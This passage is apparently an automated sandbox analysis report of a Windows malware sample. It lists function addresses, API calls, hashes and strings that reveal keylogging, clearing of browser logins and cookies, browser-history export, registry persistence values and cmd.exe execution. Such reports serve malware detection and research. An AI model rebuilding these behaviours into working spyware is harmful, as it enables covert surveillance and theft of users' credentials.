                                                                                            • String ID: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe
                                                                                            • API String ID: 2506810119-718125117
                                                                                            • Opcode ID: f4d765c9bb58478f6d614cb19d249666f691a76f34bd4fd838862d42c91d6eee
                                                                                            • Instruction ID: 12f2da1a58c9c923660241357757b5dddff340f6d61411cdc8d35d961f62cc7a
                                                                                            • Opcode Fuzzy Hash: f4d765c9bb58478f6d614cb19d249666f691a76f34bd4fd838862d42c91d6eee
                                                                                            • Instruction Fuzzy Hash: EB31A0B5A01258EFFB51CF99CC81D9EBBFCEB88390F12806AF80497215DA709E41CB54
                                                                                            Function 00403A10 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 92sleepCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00403A2A
                                                                                              • Part of subcall function 0041AD43: GetCurrentProcessId.KERNEL32(00000000,756F3530,00000000,?,?,?,?,00466900,0040C07B,.vbs,?,?,?,?,?,00475308), ref: 0041AD6A
                                                                                              • Part of subcall function 0041789C: CloseHandle.KERNEL32(00403AB9,?,?,00403AB9,00466324), ref: 004178B2
                                                                                              • Part of subcall function 0041789C: CloseHandle.KERNEL32($cF,?,?,00403AB9,00466324), ref: 004178BB
                                                                                              • Part of subcall function 0041B825: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,00000000,00409F65), ref: 0041B83E
                                                                                            • Sleep.KERNEL32(000000FA,00466324), ref: 00403AFC
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CloseFileHandle$CreateCurrentModuleNameProcessSleep
                                                                                            • String ID: /sort "Visit Time" /stext "$0NG
                                                                                            • API String ID: 368326130-3219657780
                                                                                            • Opcode ID: 12ccab7cb495ac381c9b0008eaeadf2cfc4ec7262291b4feb42ab9cf85bfd84c
                                                                                            • Instruction ID: 03df4c4d2d4284c33795d9a7a6d048d6c9d09091ba23d5cef523323604a75e49
                                                                                            • Opcode Fuzzy Hash: 12ccab7cb495ac381c9b0008eaeadf2cfc4ec7262291b4feb42ab9cf85bfd84c
                                                                                            • Instruction Fuzzy Hash: 88319531A0011456CB14FB76DC969EE7779AF80318F00007FF906B31D2EF385A4AC699
                                                                                            Function 0044837A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _free.LIBCMT ref: 004483ED
                                                                                            • _free.LIBCMT ref: 00448443
                                                                                              • Part of subcall function 0044821F: _free.LIBCMT ref: 00448277
                                                                                              • Part of subcall function 0044821F: GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045E478), ref: 00448289
                                                                                              • Part of subcall function 0044821F: WideCharToMultiByte.KERNEL32(00000000,00000000,0047279C,000000FF,00000000,0000003F,00000000,?,?), ref: 00448301
                                                                                              • Part of subcall function 0044821F: WideCharToMultiByte.KERNEL32(00000000,00000000,004727F0,000000FF,?,0000003F,00000000,?), ref: 0044832E
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: _free$ByteCharMultiWide$InformationTimeZone
                                                                                            • String ID: xE
                                                                                            • API String ID: 314583886-407097786
                                                                                            • Opcode ID: 9c637a4c831fe7eeac3cdc02b43c82e31c030d80d9709743783fb0f8cc9b1dbe
                                                                                            • Instruction ID: 75d3a8e9ed6c4df3bbb87a82b1f0f54536a25ed198edf9988c125f258b025633
                                                                                            • Opcode Fuzzy Hash: 9c637a4c831fe7eeac3cdc02b43c82e31c030d80d9709743783fb0f8cc9b1dbe
                                                                                            • Instruction Fuzzy Hash: 90213B3280013957F730A7259C46DEF7378DB41724F1102AFEC98A2191EF784DC189AD
                                                                                            Function 0040A876 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67timeCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetLocalTime.KERNEL32(?,?,00000000), ref: 0040A884
                                                                                            • wsprintfW.USER32 ref: 0040A905
                                                                                              • Part of subcall function 00409D58: SetEvent.KERNEL32(?,?,?,0040AF3F,?,?,?,?,?,00000000), ref: 00409D84
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: EventLocalTimewsprintf
                                                                                            • String ID: [%04i/%02i/%02i %02i:%02i:%02i $]
                                                                                            • API String ID: 1497725170-1359877963
                                                                                            • Opcode ID: 45f9866fdb4b48b58d31d20c1d9010c524104544a9c9b76f9e002f5a3f56afa4
                                                                                            • Instruction ID: eacaba0d290b76b22f399a57737f65b18f8a023abca8575ba11697f47f6457b1
                                                                                            • Opcode Fuzzy Hash: 45f9866fdb4b48b58d31d20c1d9010c524104544a9c9b76f9e002f5a3f56afa4
                                                                                            • Instruction Fuzzy Hash: F1115172500118AACB18FB96EC56CFF77B8AE48715B00013FF542621D1EF7C5A86C6E9
                                                                                            Function 0040A611 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64threadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0040A876: GetLocalTime.KERNEL32(?,?,00000000), ref: 0040A884
                                                                                              • Part of subcall function 0040A876: wsprintfW.USER32 ref: 0040A905
                                                                                              • Part of subcall function 0041A891: GetLocalTime.KERNEL32(00000000), ref: 0041A8AB
                                                                                            • CreateThread.KERNEL32(00000000,00000000,Function_00009993,?,00000000,00000000), ref: 0040A691
                                                                                            • CreateThread.KERNEL32(00000000,00000000,Function_000099B5,?,00000000,00000000), ref: 0040A69D
                                                                                            • CreateThread.KERNEL32(00000000,00000000,004099C1,?,00000000,00000000), ref: 0040A6A9
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CreateThread$LocalTime$wsprintf
                                                                                            • String ID: Online Keylogger Started
                                                                                            • API String ID: 112202259-1258561607
                                                                                            • Opcode ID: 5024893f57e8d6d24a63d0a0724eef93090bbaa860404930945b0814ba57db67
                                                                                            • Instruction ID: 13545b77b67cc4507d33d8d8c8ff512a749ba16b8a43449315e0da64450a8124
                                                                                            • Opcode Fuzzy Hash: 5024893f57e8d6d24a63d0a0724eef93090bbaa860404930945b0814ba57db67
                                                                                            • Instruction Fuzzy Hash: E80161A1A003193AE62076768C86DBF7A6DCA813A8F41043EF541662C3EA7D5D5582FA
                                                                                            Function 0044AC83 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CloseHandle.KERNEL32(00000000,00000000,8@,?,0044ABA1,8@,0046ED38,0000000C), ref: 0044ACD9
                                                                                            • GetLastError.KERNEL32(?,0044ABA1,8@,0046ED38,0000000C), ref: 0044ACE3
                                                                                            • __dosmaperr.LIBCMT ref: 0044AD0E
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CloseErrorHandleLast__dosmaperr
                                                                                            • String ID: 8@
                                                                                            • API String ID: 2583163307-819625340
                                                                                            • Opcode ID: f11388ad4d481d826d75519938a9a20661ac3afaecb278e3b0e3570ed3326013
                                                                                            • Instruction ID: 727ae4bd5dc399200e14d16721253afac520870d53d00e52bc8525c117eb1139
                                                                                            • Opcode Fuzzy Hash: f11388ad4d481d826d75519938a9a20661ac3afaecb278e3b0e3570ed3326013
                                                                                            • Instruction Fuzzy Hash: 6F018836640A100BF3212634688573F67498B91B39F29022FF804872D2CE2D8CC1919F
                                                                                            Function 00404B29 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47synchronizationCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00404B26), ref: 00404B40
                                                                                            • CloseHandle.KERNEL32(?,?,?,?,00404B26), ref: 00404B98
                                                                                            • SetEvent.KERNEL32(?,?,?,?,00404B26), ref: 00404BA7
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CloseEventHandleObjectSingleWait
                                                                                            • String ID: Connection Timeout
                                                                                            • API String ID: 2055531096-499159329
                                                                                            • Opcode ID: c54170f10c28a2d70f0f06c2367e9daa17625b27f18bd79627845602b5625e1d
                                                                                            • Instruction ID: 3c9b6871d48b6b3111a672927d5bafc1cfd46058a166b60e959a8cf6be3f516d
                                                                                            • Opcode Fuzzy Hash: c54170f10c28a2d70f0f06c2367e9daa17625b27f18bd79627845602b5625e1d
                                                                                            • Instruction Fuzzy Hash: 1601F5B1900B41AFD325BB3A8C4255ABFE4AB45315740053FE293A2BA2DE38E440CB5E
                                                                                            Function 0041284C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • RegCreateKeyW.ADVAPI32(80000001,00000000,?), ref: 00412857
                                                                                            • RegSetValueExW.ADVAPI32(?,?,00000000,00000001,00000000,00000000,00475308,?,0040E6A3,pth_unenc,h&y), ref: 00412885
                                                                                            • RegCloseKey.ADVAPI32(?,?,0040E6A3,pth_unenc,h&y), ref: 00412890
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CloseCreateValue
                                                                                            • String ID: pth_unenc
                                                                                            • API String ID: 1818849710-4028850238
                                                                                            • Opcode ID: b3a4cd364a4f7c7358af441d7ba84bfe6998b6fc3540b8922562f2b11cb0be87
                                                                                            • Instruction ID: ab464752906d06cf6e422ab9fb9c42b8cedad3247386a7cb387aa37f92243dc4
                                                                                            • Opcode Fuzzy Hash: b3a4cd364a4f7c7358af441d7ba84bfe6998b6fc3540b8922562f2b11cb0be87
                                                                                            • Instruction Fuzzy Hash: 2DF09071500218BBDF50AFA0EE46FEE376CEF40B55F10452AF902B60A1EF75DA08DA94
                                                                                            Function 0040CE91 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • std::_Lockit::_Lockit.LIBCPMT ref: 0040CE9C
                                                                                            • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040CEDB
                                                                                              • Part of subcall function 004349CD: _Yarn.LIBCPMT ref: 004349EC
                                                                                              • Part of subcall function 004349CD: _Yarn.LIBCPMT ref: 00434A10
                                                                                            • __CxxThrowException@8.LIBVCRUNTIME ref: 0040CEFF
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Yarnstd::_$Exception@8Locinfo::_Locinfo_ctorLockitLockit::_Throw
                                                                                            • String ID: bad locale name
                                                                                            • API String ID: 3628047217-1405518554
                                                                                            • Opcode ID: 010949cb006bc602daa897d098c336462d98aae1940c118575e4f0b09407aa79
                                                                                            • Instruction ID: d3fe92e39fe1a76843bdcbebe92e6b3b15f8dcb0f99b50ce5c9cc2ba4b618b17
                                                                                            • Opcode Fuzzy Hash: 010949cb006bc602daa897d098c336462d98aae1940c118575e4f0b09407aa79
                                                                                            • Instruction Fuzzy Hash: FEF03171004214AAC768FB62D853ADE77A4AF14758F504B3FF046224D2AF7CB619C688
                                                                                            Function 0041534A Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • ShellExecuteW.SHELL32(00000000,open,cmd.exe,00000000,00000000,00000000), ref: 0041538C
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ExecuteShell
                                                                                            • String ID: /C $cmd.exe$open
                                                                                            • API String ID: 587946157-3896048727
                                                                                            • Opcode ID: ee5632475eb46ff15070bdf5b556040dc051f9dd48e26135e6c52f0a98a02d4f
                                                                                            • Instruction ID: 200bce0b0309f38ec9064e519a9a4578f5a600b3ca3b701a036ea6d1077247ba
                                                                                            • Opcode Fuzzy Hash: ee5632475eb46ff15070bdf5b556040dc051f9dd48e26135e6c52f0a98a02d4f
                                                                                            • Instruction Fuzzy Hash: F1E0C0B11043406AC708FB65DC96DBF77AC9A90749F10483FB582621E2EE78A949865E
                                                                                            Function 00448F1B Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: __alldvrm$_strrchr
                                                                                            • String ID:
                                                                                            • API String ID: 1036877536-0
                                                                                            • Opcode ID: af13233f64bff1d952fd16752439a8415c6481e4108584e155c4282d62de78f9
                                                                                            • Instruction ID: 0b1f6a9dfc50a2d3a5cef35921af3bd2f2baba9a31ad448e356136b6fbdd55d0
                                                                                            • Opcode Fuzzy Hash: af13233f64bff1d952fd16752439a8415c6481e4108584e155c4282d62de78f9
                                                                                            • Instruction Fuzzy Hash: 3AA14532A042869FFB258E18C8817AFBBA1EF15354F1841AFE8859B382C67C8D41D758
                                                                                            Function 00455BDA Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: _free
                                                                                            • String ID:
                                                                                            • API String ID: 269201875-0
                                                                                            • Opcode ID: 74ece5ab94bf9e1454a637eee9e3d981c9d933d52cb43566ce5b815ebd6edde4
                                                                                            • Instruction ID: 0bd1fcef5d7791e57e96aa6a4775832058b0444fd7bffa6098b49987863132bf
                                                                                            • Opcode Fuzzy Hash: 74ece5ab94bf9e1454a637eee9e3d981c9d933d52cb43566ce5b815ebd6edde4
                                                                                            • Instruction Fuzzy Hash: 64415D31900F00ABEF227AB98C9667F3A75DF01775F14411FFC1896293D63C890986AA
                                                                                            Function 100086E4 Relevance: 6.1, APIs: 4, Instructions: 110COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000000,00000100,00000020,00000000,00000000,5EFC4D8B,00000100,10006FFD,00000000,00000001,00000020,00000100,?,5EFC4D8B,00000000), ref: 10008731
                                                                                            • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 100087BA
                                                                                            • GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 100087CC
                                                                                            • __freea.LIBCMT ref: 100087D5
                                                                                              • Part of subcall function 100056D0: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 10005702
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ByteCharMultiWide$AllocateHeapStringType__freea
                                                                                            • String ID:
                                                                                            • API String ID: 2652629310-0
                                                                                            • Opcode ID: 11ee239c82756698d200c57d0e0d3564a08309f574ce1b92975b0cd3435ea26e
                                                                                            • Instruction ID: 5b9b35b0a4db414dac5c81271493033b4f2f0f3dd9b893eeefd60fa04c8ec889
                                                                                            • Opcode Fuzzy Hash: 11ee239c82756698d200c57d0e0d3564a08309f574ce1b92975b0cd3435ea26e
                                                                                            • Instruction Fuzzy Hash: 2731AE32A0021AABEF15CF64CC85EAF7BA5EF44290F214129FC48D7158EB35DE50CBA0
                                                                                            Function 0040B806 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 103sleepCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            • Cleared browsers logins and cookies., xrefs: 0040B8EF
                                                                                            • [Cleared browsers logins and cookies.], xrefs: 0040B8DE
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Sleep
                                                                                            • String ID: [Cleared browsers logins and cookies.]$Cleared browsers logins and cookies.
                                                                                            • API String ID: 3472027048-1236744412
                                                                                            • Opcode ID: ba54291fdf878a6ce4261d54a18f968ede253d794603d0694b9bf03ea3b6d104
                                                                                            • Instruction ID: 247d09dce9e3c977c7e86e48a76dae703d52755688f8fe644b587970fcea700c
                                                                                            • Opcode Fuzzy Hash: ba54291fdf878a6ce4261d54a18f968ede253d794603d0694b9bf03ea3b6d104
                                                                                            • Instruction Fuzzy Hash: FE31A81124C38069CA117B7514167AB6F958A93754F08847FE8C4273E3DB7A480883EF
                                                                                            Function 004115FC Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 93sleepCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00412735: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000,00475308), ref: 00412751
                                                                                              • Part of subcall function 00412735: RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000208,?), ref: 0041276A
                                                                                              • Part of subcall function 00412735: RegCloseKey.KERNEL32(00000000), ref: 00412775
                                                                                            • Sleep.KERNEL32(00000BB8), ref: 0041169B
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CloseOpenQuerySleepValue
                                                                                            • String ID: PSG$exepath$h&y
                                                                                            • API String ID: 4119054056-821233869
                                                                                            • Opcode ID: ce4751b49543bfb5e637c42f5ba3dd255e34a2411115954db64f2e1d08f6f091
                                                                                            • Instruction ID: 7cd14a2f2c153dcd44a9d4d05f29d6c205cc6568742aad4a48f195646fb2d7b1
                                                                                            • Opcode Fuzzy Hash: ce4751b49543bfb5e637c42f5ba3dd255e34a2411115954db64f2e1d08f6f091
